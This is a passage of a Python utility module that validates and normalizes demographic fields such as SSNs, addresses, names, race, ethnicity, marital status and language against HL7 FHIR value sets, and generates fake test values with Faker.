n_ssn:\n n_ssn_digits = str('{}{}{}'.format(n_ssn.group(1), n_ssn.group(2), n_ssn.group(3)))\n if (n_ssn_digits in bad_ssns) or (n_ssn.group(1) in ['666', '000']) or (n_ssn.group(2) in ['00']) or (\n n_ssn.group(3) in ['0000']):\n raise ValueError('An invalid value was supplied as an SSN: '.format(ssn))\n elif shannon_entropy(n_ssn_digits) < .16:\n raise ValueError(\n 'The value supplied as an SSN does not pass shannon entropy requirements: '.format(ssn))\n else:\n return str('{}{}{}'.format(n_ssn.group(1), n_ssn.group(2), n_ssn.group(3)))\n\n\ndef random_ssn():\n \"\"\"\n Utility function to generate a random social security number as a string\n SSN is formatted as XXX-XX-XXXX\n \"\"\"\n fake = Faker()\n return fake.ssn()\n\n\ndef format_ssn(ssn=None):\n \"\"\"\n Utility function to return a properly formatted social security number (SSN)\n \n :param ssn: \n Type: String\n Default: None\n Description: Any social security number\n :return: \n If a valid SSN is provided, returns SSN in format XXX-XX-XXXX\n Otherwise returns None\n \"\"\"\n if not ssn:\n return None\n ssn_compile = re.compile(r'.*([0-8][0-9]{2}).*([0-9]{2}).*([0-9]{4}).*')\n n_ssn = ssn_compile.match(ssn)\n if n_ssn:\n return str('{}-{}-{}'.format(n_ssn.group(1), n_ssn.group(2), n_ssn.group(3)))\n else:\n raise ValueError('The value supplied as SSN is invalid: {}'.format(ssn))\n\n\ndef normalize_city_state(city=None, state=None):\n \"\"\"\n Utility function that accepts string representations of city and state, and returns a tuple\n of a validated city, state and zipcode value.\n \n :param city:\n Type: str\n Description: Name of a city to lookup. Default is None\n :param state:\n Type: str\n Description: Name or abbreviation of a US state to lookup. Default is None\n \n :return:\n Function accepts a city and state combination to lookup. The city and state combination is matched against a \n database of all US cities and states. If a valid match is found, a tuple with the city and state name are returned.\n If just one zipcode exists for that city and state combination, a zipcode is also returned. If multiple zipcodes\n match the city and state combination, then None is returned as the zipcode value in the tuple.\n \n The tuple is returned as (\"cityname\", \"statename\", \"zipcode\"). If lookup fails for one or all three items a None \n object is returned in the tuple.\n \"\"\"\n zipcode_search = ZipcodeSearchEngine()\n if state and city:\n try:\n city_state_zips = zipcode_search.by_city_and_state(city, state)\n if city_state_zips:\n zip_object = city_state_zips[0]\n single_zipcode = None\n if len(city_state_zips) == 1:\n single_zipcode = zip_object.Zipcode\n return zip_object.City, zip_object.State, single_zipcode\n except ValueError:\n return city, validate_state(state), None\n elif state:\n return None, validate_state(state), None\n\n\ndef validate_state(state):\n \"\"\"\n Utility function that accepts any valid string representation of a US state and returns a normalized two\n character abbreviation of the state.\n \n :param state:\n Type: String\n Default: None\n Description: String representation of a US state\n \n :return:\n If a valid US state is found, the two character state abbreviation is returned.\n Otherwise, a ValueError is raised\n \"\"\"\n zipcode_search = ZipcodeSearchEngine()\n try:\n state_zips = zipcode_search.by_state(state)\n if state:\n state = state_zips[0]\n return state.State\n else:\n raise ValueError('Could not find a valid US state with the given input: {}'.format(state))\n except TypeError:\n raise ValueError('Could not find a valid US state with the given input: {}'.format(state))\n\n\ndef validate_country(country):\n \"\"\"\n Utility function that accepts a string representation of a country code and determines if the value\n is within the ISO 3166-1 Alpha-3 country code set\n\n :param country:\n A 3 character country code for validation\n :return:\n If valid, returns 3 character code for country\n If invalid, raises ValueError\n \"\"\"\n # TODO: Add validation w/ valueset for ISO 3166-1 Alpha-3 lookup\n n_country = str(country).strip().upper()\n if n_country in ('USA', 'CAN', 'MEX'):\n return n_country\n else:\n raise ValueError('Could not find a valid ISO 3166-1 Alpha-3 country code with given input: {}'.format(country))\n\n\ndef lookup_zipcode_object(zipcode):\n \"\"\"\n Utility function to lookup a uszipcode zipcode object based on a zipcode string.\n \n :param zipcode:\n Type: String\n Default: None\n A string value for a zipcode to lookup\n \n :return:\n If matching zipcode is found a dictionary object for the zipcode including information about it is returned. \n This is a uszipcode zipcode object. \n \n If no zipcode is found, None is returned.\n \"\"\"\n zipcode_search = ZipcodeSearchEngine()\n zipcode = zipcode_search.by_zipcode(zipcode)\n return zipcode\n\n\ndef validate_zipcode(zipcode):\n \"\"\"\n A utility function used to validate an normalize a zipcode. Returns a zipcode as a string\n \n :param zipcode:\n Type: String\n Default: None\n A string value for a zipcode to lookup\n \n :return\n If a valid zipcode is matched, the zipcode is returned as a string\n Otherwise, a ValueError is raised\n \"\"\"\n n_zipcode = lookup_zipcode_object(zipcode)\n if n_zipcode:\n return n_zipcode.Zipcode\n else:\n raise ValueError('Could not validate the zipcode {}'.format(zipcode))\n\n\ndef random_zipcode(number=1, potential_matches=1000, string_only=True):\n \"\"\"\n Utility function to generate random zipcodes. \n Randomly generates an object from the top 'potential_matches' zipcodes by population.\n \n USAGE NOTES:\n When generating random zipcodes, it is best to use this function to generate the number of results you need,\n and then manipulate the returned list, rather than calling this function for each zipcode required. \n Repeated calls to this function will repeat the generation of a list of 1000 zipcodes and affect performance.\n \n :param number:\n TYPE: int - positive values only\n DESCRIPTION: The number of zipcodes to randomly generate\n DEFAULT: 1\n \n :param string_only:\n TYPE: bool\n DESCRIPTION: When True, results are returned as string zipcodes. When False, uszipcode.zipcode type objects\n are returned. zipcode.Zipcode method can be used to return zipcode. Other methods for city, state etc.\n also exist and can be used.\n DEFAULT: True\n \n :param potential_matches:\n TYPE: int (between 1 - 43000)\n DESCRIPTION: The number of zipcodes to be returned from the entire list of US zipcodes ordered by population\n descending. This number determines the set of zipcodes to randomly select from. \n DEFAULT: 1000\n \n :return:\n A list of zipcode strings or objects\n \n\n \"\"\"\n try:\n number = int(number)\n if number < 1:\n raise ValueError(\"A base 10 integer > 0 must be supplied to param 'number'.\")\n\n potential_matches = int(potential_matches)\n if potential_matches < 1000:\n raise ValueError(\"A base 10 integer > 999 must be supplied to param 'potential_matches'.\")\n\n string_only = bool(string_only)\n\n search = ZipcodeSearchEngine()\n res = search.by_population(lower=0, upper=999999999, sort_by=\"Population\", ascending=False,\n returns=potential_matches)\n zipcode_list = []\n for x in range(0, number):\n zipcode = random.choice(res)\n if string_only:\n zipcode_list.append(zipcode.Zipcode)\n else:\n zipcode_list.append(zipcode)\n return zipcode_list\n except ValueError:\n print(\"\"\"Please input an integer value for the parameter 'number' and parameter 'potential_matches'. \n Please input a bool value for param 'string_only'.\"\"\")\n\n\ndef random_address_lines():\n \"\"\"\n Utility function used to generate random address line values.\n Uses the python faker module to generate a random address1 and address2 value\n \n :return:\n Returns a tuple of two strings in format (\"address1\",\"address2\")\n address1 is always populated, address2 is sometimes None\n \"\"\"\n fake = Faker()\n addr1 = str(fake.street_address()).upper()\n addr2 = None\n if random.random() > 0.7 and not re.search(r'( APT.| APT | SUITE)+', addr1):\n addr2 = str(fake.secondary_address()).upper()\n return addr1, addr2\n\n\ndef normalize_address(address1=None, address2=None, city=None, state=None, zipcode=None, district=None, country=None):\n \"\"\"\n Utility function to normalize five named parameters that comprise a physical address. \n\n :param address1:\n Type: str\n First address line of a physical address. Default is None\n\n :param address2\n Type: String\n Second address line of a physical address. Default is None\n\n :param city:\n Type: String\n Name of the city for the physical address. Default is None\n\n :param state:\n Type: String\n State name for the physical address. Uses state name lookup if necessary and allows \n for fuzzy name matching and abbreviation lookup. Default is None\n\n :param zipcode:\n Type: String\n Zipcode component of a physical address. Long or short form US zipcodes are accepted. This input\n is validated against a canonical list of zipcodes in the US.\n\n :param district:\n Type: String\n State name for the physical address. Uses state name lookup if necessary and allows\n for fuzzy name matching and abbreviation lookup. Default is None\n\n :param country:\n Type: String\n Country component of a physical address. ISO 3166-1 Alpha-3 codes accepted\n\n :return:\n Returns a dictionary with keys \"address1\", \"address2\", \"city\", \"state\", \"zipcode\" , \"district\", \"country\"\n which represents the normalized physical address.\n \n Uses supplied information to normalize address components. \n\n If zipcode is supplied, zipcode is normalized to canonical list of zipcodes. If match is found, the city\n and state attributes are set according to those associated with the zipcode. If no match is found, the\n zipcode is set to None in the returned dictionary.\n \n If zipcode is not supplied, and state is supplied, the state name is validated and converted to standardized\n two character abbreviation in the resulting dictionary.\n \n If zipcode is not supplied, and city is supplied, the city name is accepted without validation.\n \"\"\"\n n_address_dict = {\"address1\": None, \"address2\": None, \"city\": None, \"state\": None, \"zipcode\": None,\n \"district\": None, \"country\": None}\n\n n_district = normalize_name(name=district)\n\n if address1:\n address1 = str(address1).upper().strip()\n if address2:\n address2 = str(address2).upper().strip()\n\n zip_object = None\n if zipcode:\n zip_object = lookup_zipcode_object(zipcode)\n\n if zip_object:\n n_address_dict[\"zipcode\"] = zip_object.Zipcode\n n_address_dict[\"state\"] = zip_object.State\n n_address_dict[\"city\"] = (str(zip_object.City).upper())\n n_address_dict[\"address1\"] = address1\n n_address_dict[\"address2\"] = address2\n n_address_dict[\"district\"] = n_district\n n_address_dict[\"country\"] = \"USA\"\n\n elif state:\n n_city, n_state, n_zipcode = normalize_city_state(city=city, state=state)\n n_address_dict[\"state\"] = n_state\n if n_state:\n n_address_dict[\"country\"] = \"USA\"\n n_address_dict[\"district\"] = n_district\n n_address_dict[\"city\"] = str(n_city).upper()\n n_address_dict[\"zipcode\"] = n_zipcode\n if not n_address_dict.get(\"city\", None):\n n_address_dict[\"city\"] = str(city).upper().strip()\n n_address_dict[\"address1\"] = address1\n n_address_dict[\"address2\"] = address2\n\n else:\n if country:\n try:\n n_country = validate_country(country=country)\n n_address_dict[\"country\"] = n_country\n except ValueError:\n pass\n if city:\n n_address_dict[\"city\"] = str(city).strip().upper()\n n_address_dict[\"address1\"] = address1\n n_address_dict[\"address2\"] = address2\n\n return n_address_dict\n\n\ndef random_full_address(number=1):\n # TODO: Include district in randomization\n \"\"\"\n Utility function used to generate one or many random full addresses.\n :param number:\n Type: Int\n Default: 1\n Description: Number of random addresses to generate\n :return:\n Returns a list of dicts which contain key-value pairs of full address components.\n Example: [{\"address1\":\"123 MAIN ST\", \"address2\":\"APT 1\", \"city\":\"MADISON\", \"state\":\"WI\", \"zipcode\":\"53703\"}]\n \"\"\"\n number = int(number)\n if number < 10:\n potential_matches = 1000\n else:\n potential_matches = 5000\n zipcode_list = random_zipcode(number=number, string_only=False, potential_matches=potential_matches)\n result = []\n for x in range(0, number):\n zip = zipcode_list.pop(0)\n add1, add2 = random_address_lines()\n end_date = datetime.today().date()\n start_date = end_date - timedelta(days=random.randrange(365, 3650))\n add_dict = {\"address1\": add1, \"address2\": add2, \"zipcode\": zip.Zipcode, \"city\": str(zip.City).upper(),\n \"state\": zip.State, \"use\": \"HOME\", \"start_date\": start_date, \"end_date\": end_date, \"country\": \"USA\"}\n result.append(add_dict)\n if result:\n return result\n else:\n return None\n\n\ndef normalize_name(name=None):\n \"\"\"\n Utility Function to Normalize Names\n \n :param name:\n Type: String\n A name to normalize and output\n\n :return:\n Returns a 'normalized' name string:\n Any parentheses with contents will be removed. \n Any dashes, commas, single quotes or other characters will be removed. \n Final contents should be trimmed on both sides and in uppercase.\n \"\"\"\n\n def remove_paren(value):\n paren_re = re.compile(r'\\([^()]*(\\)|$)')\n n_value = paren_re.sub('', value)\n while n_value != value:\n value = n_value\n n_value = paren_re.sub('', value)\n return value\n\n def remove_restricted_chars(value):\n restricted_re = re.compile(\"[,.'^*#&$@!%+]\")\n value = restricted_re.sub('', value).strip()\n return value\n\n def finalize_output(value):\n value = value.strip().upper()\n return value\n\n if name:\n name = unidecode.unidecode(name) # Remove accents\n name = remove_paren(value=name)\n name = remove_restricted_chars(value=name).upper()\n name = finalize_output(value=name)\n\n return name\n\n\ndef normalize_username(username=None):\n \"\"\"\n Utility Function to Normalize Names\n\n :param name:\n Type: String\n A name to normalize and output\n\n :return:\n Returns a 'normalized' name string:\n Any parentheses with contents will be removed.\n Any dashes, commas, single quotes or other characters will be removed.\n Final contents should be trimmed on both sides and in uppercase.\n \"\"\"\n\n def remove_restricted_chars(value):\n restricted_re = re.compile(\"[@]\")\n value = restricted_re.sub('', value).strip()\n value = unidecode.unidecode(value)\n return value\n\n def finalize_output(value):\n value = value.strip().upper()\n return value\n\n if username:\n username = remove_restricted_chars(value=username).upper()\n username = finalize_output(value=username)\n\n return username\n\n\ndef random_first_name(sex=None):\n \"\"\"\n Utility function to generate a random first name string\n :param sex: \n Type: char(1) from set ['MALE','FEMAILE']\n Default: None\n Description: Either None, 'MALE' or 'FEMAILE'. Determines sex of name to return\n :return: \n If no sex is supplied, a random sex is chosen and corresponding gender's random first name is returned\n If a sex is supplied, a first name appropriate for that gender is returned\n\n \"\"\"\n fake = Faker()\n if not sex:\n sex = random.choice([\"MALE\", \"FEMALE\"])\n if sex == \"MALE\":\n return str(fake.first_name_male()).upper()\n else:\n return str(fake.first_name_female()).upper()\n\n\ndef normalize_lastname_suffix(last_name=None, suffix=None):\n \"\"\"\n Utility function to normalize last names and suffix values\n \n :param last_name:\n Type: String\n Last name to normalize. Default is None\n \n :param suffix:\n Type: String\n Last name suffix to normalize along with last name.\n \n :return:\n If suffix is supplied, it is compared to accepted dictionary\n of suffix values. If match is found, the normalized output is \n accepted.\n \n If normalized suffix is not found, the lastname is evaluated for\n the inclusion of a suffix in the string. If a valid suffix is found\n it is removed from the lastname and supplied as the suffix.\n \n All usual name normalization logic is applied to the lastname, where\n special characters are stripped, parenthetical text removed and result\n is trimmed of leading/trailing whitespace. All text is output in uppercase\n \n Returns a tuple in format of lastname, suffix.\n \n If either value is None, None is returned in the tuple\n \"\"\"\n\n def strip_suffix(lastname=None, suffix=None):\n if not (lastname or suffix):\n return lastname, suffix\n suffix_dict = {'JR': 'JR', 'JUNIOR': 'JR', 'SR': 'SR', 'SENIOR': 'SR', 'I': 'I', 'II': 'II',\n 'III': 'III', 'IV': 'IV', '1ST': 'I', '2ND': 'II', '3RD': 'III', '4TH': 'IV', }\n if suffix:\n suffix = suffix_dict.get(suffix, None)\n\n if lastname:\n suffix_endings = {' JR', ' JUNIOR', ' SR', ' SENIOR', ' I', ' II', ' III', ' IV', ' 1ST', ' 2ND', ' 3RD',\n ' 4TH'}\n\n for suff in suffix_endings:\n if lastname.endswith(suff):\n if not suffix:\n suffix = lastname[-len(suff):]\n suffix = suffix.strip()\n lastname = lastname[:-len(suff)]\n\n return lastname, suffix\n\n last_name = normalize_name(name=last_name)\n suffix = normalize_name(name=suffix)\n last_name, suffix = strip_suffix(lastname=last_name, suffix=suffix)\n\n return last_name, suffix\n\n\ndef random_suffix():\n \"\"\"\n Utility function to generate a random valid suffix\n \"\"\"\n suffix_values = [\"JR\", \"SR\", \"I\", \"II\", \"III\", \"IV\"]\n if random.random() > 0.9:\n return random.choice(suffix_values)\n else:\n return None\n\n\ndef random_last_name():\n \"\"\"Utility function to generate a random last name string\"\"\"\n fake = Faker()\n return str(fake.last_name()).upper()\n\n\ndef random_password():\n \"\"\"\n Returns a random password as a string.\n Password is comprised of random integer concatentated with two random lorem ipsum words\n \"\"\"\n fake = Faker()\n random_number = str(random.randint(0, 1000))\n password = fake.word() + random_number + fake.word()\n return str(password)\n\n\ndef validate_email(email):\n \"\"\"\n Utility function to validate whether a given string input is an email address and normalize the output by trimming\n leading and trailing whitespaces and converting the resulting string to upper case.\n :param email: \n Type: String\n Default: None\n A string representation of an email address. This is the email address to be validated / normalized\n :return:\n If email is None, raises ValueError\n If email exists and does not pass regex validation, raises ValueError\n If email exists and passes regex validation, rerturns email in uppercase and trimmed\n \"\"\"\n if not email:\n raise ValueError('An NoneType value as supplied as an email.')\n email_re = re.compile(r\"(^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\\.[a-zA-Z0-9-.]+$)\")\n validated_email = re.match(email_re, email)\n if not validated_email:\n raise ValueError('An invalid value was supplied as an email: {}'.format(email))\n else:\n return str(email).strip().upper()\n\n\ndef random_email():\n \"\"\"\n Utility function to return a random email\n \n :return: \n Returns an email with \"@EXAMPLE.*\" as the domain name pattern\n \"\"\"\n fake = Faker()\n return str(fake.safe_email()).upper()\n\n\ndef validate_dob(dob, max_age=130):\n \"\"\"\n Utility function to normalize a person's date of birth (DOB). Uses dateutil library to parse all possible\n date values into a datetime.date object.\n \n :param dob: \n Type: String or Datetime or Date\n A representation of a persons date of birth \n \n :param max_age: \n Type: Integer\n The number of years, when substracted from the current date, to set as the farthest back plausible date for\n a date of birth. Essentially the lower bound of the result. Default == 130\n \n :return: \n If dateutil.parser can extract a Datetime from param 'dob' and that datetime value is within the past \n 'year_lookback' years, then a datetime.Date object is returned\n \n Otherwise, a ValueError is raised\n \"\"\"\n n_dob = None\n if not dob:\n raise ValueError('A NoneType value was passed as a dob')\n else:\n dob = str(dob)\n if isinstance(dob, str):\n try:\n n_dob = dateparser.parse(dob, ignoretz=True).date()\n except ValueError:\n raise ValueError('An invalid value was supplied as a DOB: {}'.format(dob))\n today = datetime.today().date()\n lower_limit = today + relativedelta(years=-max_age)\n if not lower_limit <= n_dob:\n raise ValueError('The DOB {} is too far in the past to be a valid DOB'.format(n_dob))\n elif not n_dob <= today:\n raise ValueError('The DOB {} is an invalid future date.'.format(n_dob))\n else:\n return n_dob\n\n\ndef random_dob():\n \"\"\"\n Utility function to generate a random date of birth (DOB)\n \n :return:\n Returns a random DOB as a datetime.date object.\n Lower Limit = Today - 100 years\n Upper Limit = Today - 18 years\n \"\"\"\n current_date = datetime.today().date()\n start_date = (current_date + relativedelta(years=-100)).toordinal()\n end_date = (current_date + relativedelta(years=-18)).toordinal()\n dob = date.fromordinal(random.randint(start_date, end_date))\n return dob\n\n\ndef random_death_date(dob):\n \"\"\"\n This function will return a date of death that is a randomly selected date between\n the supplied dob and the current date\n \"\"\"\n delta = datetime.today().date() - dob\n int_delta = delta.days + delta.seconds\n random_days = random.randrange(int_delta)\n return dob + timedelta(days=random_days)\n\n\nrace_dict = {\"1002-5\": [\"AMERICAN INDIAN OR ALASKA NATIVE\", \"AI\"],\n \"2028-9\": [\"ASIAN\", \"AS\"],\n \"2054-5\": [\"BLACK OR AFRICAN AMERICAN\", \"B\", \"BL\", \"BLACK\", \"AFRICAN AMERICAN\", \"AA\"],\n \"2076-8\": [\"NATIVE HAWAIIAN OR OTHER PACIFIC ISLANDER\", \"HAWAIIAN\", \"NH\", \"PACIFIC ISLANDER\", \"PI\"],\n \"UNK\": [\"UNKNOWN\", \"OTHER RACE\", \"O\", \"OTHER\", \"OTH\", \"OT\", \"OR\", \"UNK\"],\n \"2106-3\": [\"WHITE\", \"W\", \"WH\", \"WHI\", \"WHIT\" \"CAUCASIAN\"],\n \"ASKU\": [\"ASKED UNKNOWN\", \"ASKED\", \"REFUSED\"]}\n\n\ndef validate_race(race):\n \"\"\"\n Utility function to normalize string representations of race to the OMB Race Category valueset.\n Value set url = http://hl7.org/fhir/us/core/ValueSet/omb-race-category\n \n :param race:\n Type: str\n Description: A representation of a person's race. Default is None\n \n :return: \n If 'race' is None, returns None\n If 'race' is in race category set, returns 'race'\n If 'race' lookup succeeds from dictionary 'race_dict', the top-level key of the dictionary is returned\n If 'race' is not None and lookup in 'race_dict' fails, returns None\n \"\"\"\n if not race:\n raise ValueError('A NoneType value as supplied as race.')\n\n race = str(race).strip().upper()\n\n if race in race_dict.keys():\n return race\n else:\n for key in race_dict:\n if race in race_dict[key]:\n race = key\n\n if race:\n return race\n else:\n raise ValueError('The value supplied as race ({})could not be validated.'.format(race))\n\n\ndef random_race():\n \"\"\"\n Utility function to generate a random string value from the OMB Race Category FHIR ValueSet.\n Value set url = http://hl7.org/fhir/us/core/ValueSet/omb-race-category\n \"\"\"\n race_values = list(race_dict.keys())\n return random.choice(race_values)\n\n\nethnicity_dict = {\n \"2135-2\": [\"HISPANIC OR LATINO\", \"H\", \"HISPANIC\", \"HISP\", \"LATINO\", \"L\", \"LAT\"],\n \"2186-5\": [\"NOT HISPANIC OR LATINO\", \"N\", \"NOT\", \"NOT HISPANIC\", \"NOT LATINO\", \"NOT HISP\", \"NOT LAT\"]\n}\n\n\ndef validate_ethnicity(ethnicity):\n \"\"\"\n Utility function to normalize string representations of ethnicity categories\n Uses OMB Ethnicity Category FHIR ValueSet http://hl7.org/fhir/us/core/ValueSet/omb-ethnicity-category\n Hispanic or Latino vs Not Hispanic or Latino\n \n :param ethnicity: \n Type: String or Bool\n Default: None\n Description: A representation of ethnicity to be normalized\n \n :return:\n If 'ethnicity' is type String and input exists in CDC Ethnicity codeset, returns ethnicity code\n If 'ethnicity' is type String and lookup succeeds in 'ethnicity_dict', returns top level key of dict\n If 'ethnicity' is type Boolean, if True returns code for Hisp/Lat, if False, returns code for Not Hisp/Lat\n If 'ethnicity' is none, raise ValueError\n If 'ethnicity' is not type Bool, and String lookup fails, raises ValueError\n \"\"\"\n if isinstance(ethnicity, bool):\n if ethnicity:\n return \"2135-2\"\n else:\n return \"2186-5\"\n if not ethnicity:\n raise ValueError('A NoneType value was supplied as ethnicity.')\n ethnicity = str(ethnicity).strip().upper()\n\n if ethnicity in ethnicity_dict.keys():\n return ethnicity\n\n for key in ethnicity_dict:\n if ethnicity in ethnicity_dict[key]:\n return key\n\n else:\n raise ValueError('The value supplied for ethnicity ({}) could not be validated.'.format(ethnicity))\n\n\ndef random_ethnicity():\n \"\"\"\n Utility function to generate a random ethnicity value from the OMB Ethnicity Category ValueSet for FHIR\n http://hl7.org/fhir/us/core/ValueSet/omb-ethnicity-category\n\n :return: \n Either \"2135-2\" for Hispanic or Latino or \"2186-5\" for Not Hispanic or Latino\n \"\"\"\n ethnicity_values = [\"2135-2\", \"2186-5\"]\n return random.choice(ethnicity_values)\n\n\nmarital_status_dict = {\"A\": [\"ANNULLED\", \"ANNULL\"], # Marriage contract has been declared null and to not have existed\n \"D\": [\"DIVORCED\", \"DIV\", \"DVC\"], # Marriage contract has been declared dissolved and inactive\n \"I\": [\"INTERLOCUTORY\"], # Subject to an Interlocutory Decree.\n \"L\": [\"LEGALLY SEPARATED\", \"LS\"], # Legally Separated\n \"M\": [\"MARRIED\", \"MAR\", \"M.\"], # A current marriage contract is active\n \"P\": [\"POLYGAMOUS\", \"POLY\"], # More than 1 current spouse\n \"S\": [\"NEVER MARRIED\", \"SINGLE\", \"SIN\", \"SING\", \"S\"],\n # No marriage contract has ever been entered\n \"T\": [\"REGISTERED DOMESTIC PARNTER\", \"RDP\", \"DOMESTIC PARTNER\"],\n # Person declares that a domestic partner relationship exists.\n \"U\": [\"UNMARRIED\", \"UN-MARRIED\"], # Currently not in a marriage contract.\n \"UNK\": [\"UNKNOWN\", \"N/A\"], # Description:A proper value is applicable, but not known.\n \"W\": [\"WIDOWED\", \"WID\", \"WIDOWER\"] # The spouse has died\n }\n\n\ndef validate_marital_status(status):\n \"\"\"\n Utility function to normalize a string representation of marital status to the HL7 FHIR R3 Marital Status codeset.\n Value set: Expansion based on http://hl7.org/fhir/v3/MaritalStatus version 2016-11-11\n \n :param status: \n Type: String\n Default: None\n Description: String representation of marital status. May contain Hl7 FHIR R3 Marital Status code or string\n representation of a marital status category\n :return: \n If 'status' is char(1) and in the HL7 codeset, the same Hl7 code is returned\n If 'status' is in 'status_dict', the top level key (HL7 code) of the matching status is returned\n If 'status' cannot be found in lookup dict, returns None\n If 'status' is None, returns None\n \"\"\"\n if not status:\n raise ValueError('A NoneType value was supplied as a marital status.')\n status = str(status).strip().upper()\n n_status = None\n if status in marital_status_dict:\n n_status = status\n\n for key in marital_status_dict:\n if status in marital_status_dict[key]:\n status = key\n\n if n_status:\n return n_status\n\n else:\n raise ValueError('The value supplied for marital status ({}) could not be validated.'.format(status))\n\n\ndef random_marital_status():\n \"\"\"Utility function to randomly return one of the three most common marital status codes from the FHIR Marital\n Status codeset http://hl7.org/fhir/v3/MaritalStatus\n \n :return:\n \"D\" for divorced\n \"M\" for married\n \"S\" for single\n \"U\" for unmarried\n \"W\" for widowed / widower\n \"\"\"\n return random.choice(['D', 'M', 'S', 'U', 'W'])\n\n\ndef normalize_deceased(value=None):\n \"\"\"\n Utility function to normalize a deceased status to a boolean representation.\n \n :param value: \n Type: String or Bool\n Default: None\n Description: Text representation of a deceased status or boolean for True = Deceased, False = Alive\n \n :return:\n If 'value' is type Bool returns 'value'\n If 'value' is type String and 'value' is in set 'deceased_list' returns True.\n If 'value' is type String and 'value' is not in set 'deceased_list' returns False\n If 'value' is None, returns None\n \"\"\"\n if isinstance(value, bool):\n return value\n if not value:\n return False\n deceased_list = {\"DECEASED\", \"DEAD\", \"DIED\", \"D\"}\n\n value = str(value).upper().strip()\n\n if value in deceased_list:\n return True\n else:\n return False\n\n\ndef random_deceased():\n \"\"\"\n Utility function to randomly return a boolean status for deceased. \n 99% chance that function returns False.\n 01% chance that function returns True.\n \n :return: \n Boolean representation of deceased status with high likelihood of False\n \"\"\"\n if random.random() < 0.99:\n return False\n else:\n return True\n\n\ndef validate_sex(sex):\n \"\"\"\n Utility function to normalize a string representation of a person's gender to the approved representation\n listed below from the HL7 FHIR R3 Administrative Gender Value Set:\n \"female\"\n \"male\"\n \"other\"\n \"unknown\"\n \n A None / Null status is used to represent unknown genders rather than a designator \"U\"\n \n :param sex: \n Type: String\n Default: None\n Description: Any string representation of a person's gender that needs to be normalized\n \n :return: \n If 'sex' is not type String, returns None\n If 'sex' is in approved sets of female, male or other values, returns \"F\", \"M\" or \"U\", respectively\n If 'sex' is type string and not in approved sets of values, returns None\n \"\"\"\n if not isinstance(sex, str):\n raise TypeError('A non-string value was passed as sex')\n else:\n female_values = {\"F\", \"FEMALE\", \"WOMAN\", \"GIRL\"}\n male_values = {\"M\", \"MALE\", \"MAN\", \"BOY\"}\n other_values = {\"OTHER\", \"O\"}\n unknown_values = {\"U\", \"UNKNOWN\", \"UNSPECIFIED\"}\n sex = str(sex).upper().strip()\n if sex in female_values:\n return 'F'\n if sex in male_values:\n return 'M'\n if sex in other_values:\n return 'O'\n if sex in unknown_values:\n return 'U'\n else:\n raise ValueError('An invalid value ({}) was supplied as sex.'.format(sex))\n\n\ndef random_sex():\n \"\"\"\n A simple utility function to randomly return either \"M\" or \"F\" for gender\n \n :return: \n \"MALE\" or \"FEMALE\"\n \"\"\"\n if random.randint(0, 1):\n return \"M\"\n else:\n return \"F\"\n\n\nlanguage_dict = {\"ar\": [\"ARABIC\"],\n \"bn\": [\"BENGALI\"],\n \"cs\": [\"CZECH\"],\n \"da\": [\"DANISH\"],\n \"de\": [\"GERMAN\"],\n \"de - AT\": [\"GERMAN(AUSTRIA)\"],\n \"de - CH\": [\"GERMAN(SWITZERLAND)\"],\n \"de - DE\": [\"GERMAN(GERMANY)\"],\n \"el\": [\"GREEK\"],\n \"en\": [\"ENGLISH\", \"ENG\"],\n \"en - AU\": [\"ENGLISH(AUSTRALIA)\"],\n \"en - CA\": [\"ENGLISH(CANADA)\"],\n \"en - GB\": [\"ENGLISH(GREAT BRITAIN\"],\n \"en - IN\": [\"ENGLISH(INDIA)\"],\n \"en - NZ\": [\"ENGLISH(NEW ZELAND)\"],\n \"en - SG\": [\"ENGLISH(SINGAPORE)\"],\n \"en - US\": [\"ENGLISH(UNITED STATES)\"],\n \"es\": [\"SPANISH\"],\n \"es - AR\": [\"SPANISH(ARGENTINA)\"],\n \"es - ES\": [\"SPANISH(SPAIN)\"],\n \"es - UY\": [\"SPANISH(URUGUAY)\"],\n \"fi\": [\"FINNISH\"],\n \"fr\": [\"FRENCH\"],\n \"fr - BE\": [\"FRENCH(BELGIUM)\"],\n \"fr - CH\": [\"FRENCH(SWITZERLAND)\"],\n \"fr - FR\": [\"FRENCH(FRANCE)\"],\n \"fy\": [\"FRYSIAN\"],\n \"fy - NL\": [\"FRYSIAN(NETHERLANDS)\"],\n \"hi\": [\"HINDI\"],\n \"hr\": [\"CROATIAN\"],\n \"it\": [\"ITALIAN\"],\n \"it - CH\": [\"ITALIAN(SWITZERLAND)\"],\n \"it - IT\": [\"ITALIAN(ITALY)\"],\n \"ja\": [\"JAPANESE\"],\n \"ko\": [\"KOREAN\"],\n \"nl\": [\"DUTCH\"],\n \"nl - BE\": [\"DUTCH(BELGIUM)\"],\n \"nl - NL\": [\"DUTCH(NETHERLANDS)\"],\n \"no\": [\"NORWEIGAN\"],\n \"no - NO\": [\"NORWEGIAN(NORWAY)\"],\n \"pa\": [\"PUNJABI\"],\n \"pt\": [\"PORTUGUESE\"],\n \"pt - BR\": [\"PORTUGUESE(BRAZIL)\"],\n \"ru\": [\"RUSSIAN\"],\n \"ru - RU\": [\"RUSSIAN(RUSSIA)\"],\n \"sr\": [\"SERBIAN\"],\n \"sr - SP\": [\"SERBIAN(SERBIA)\"],\n \"sv\": [\"SWEDISH\"],\n \"sv - SE\": [\"SWEDISH(SWEDEN)\"],\n \"te\": [\"Telegu\"],\n \"zh\": [\"CHINESE\"],\n \"zh - CN\": [\"CHINESE(CHINA)\"],\n \"zh - SG\": [\"CHINESE(SINGAPORE)\"],\n \"zh - TW\": [\"CHINESE(TAIWAIN)\"]\n }\n\n\ndef validate_language(language):\n \"\"\"\n A utility function to normalize language values to the HL7 FHIR R3 Common Language Set\n\n :param language:\n Type: String\n Value: String description of language to validate\n :return:\n If language value can be validated, returns string representation of language from HL7 FHIR R3 Common Language\n If language value cannont be validated, raises ValueError\n \"\"\"\n n_language = None\n for lang in language_dict:\n formatted_language = language.upper().strip()\n if formatted_language == str(lang).upper().strip() or formatted_language in language_dict[lang]:\n n_language = lang\n\n if n_language:\n return n_language\n else:\n raise ValueError(\"The language supplied ({}) could not be validated\".format(language))\n\n\ndef random_language():\n \"\"\"\n Utility function to generate a random language code.\n\n :return:\n Type: String\n Value: A language code\n \"\"\"\n lang_list = ['en', 'en', 'en', 'en', 'es']\n return random.choice(lang_list)\n\n\ndef random_description(max_chars=200):\n \"\"\"\n Utility function to generate a random 'lorem ipsum' style description text\n \n :param max_chars: \n Type: Integer\n Default: 200\n Description: Number of characters to return in randomly generated description\n \n :return:\n String description of length == 'max_chars' in 'lorem 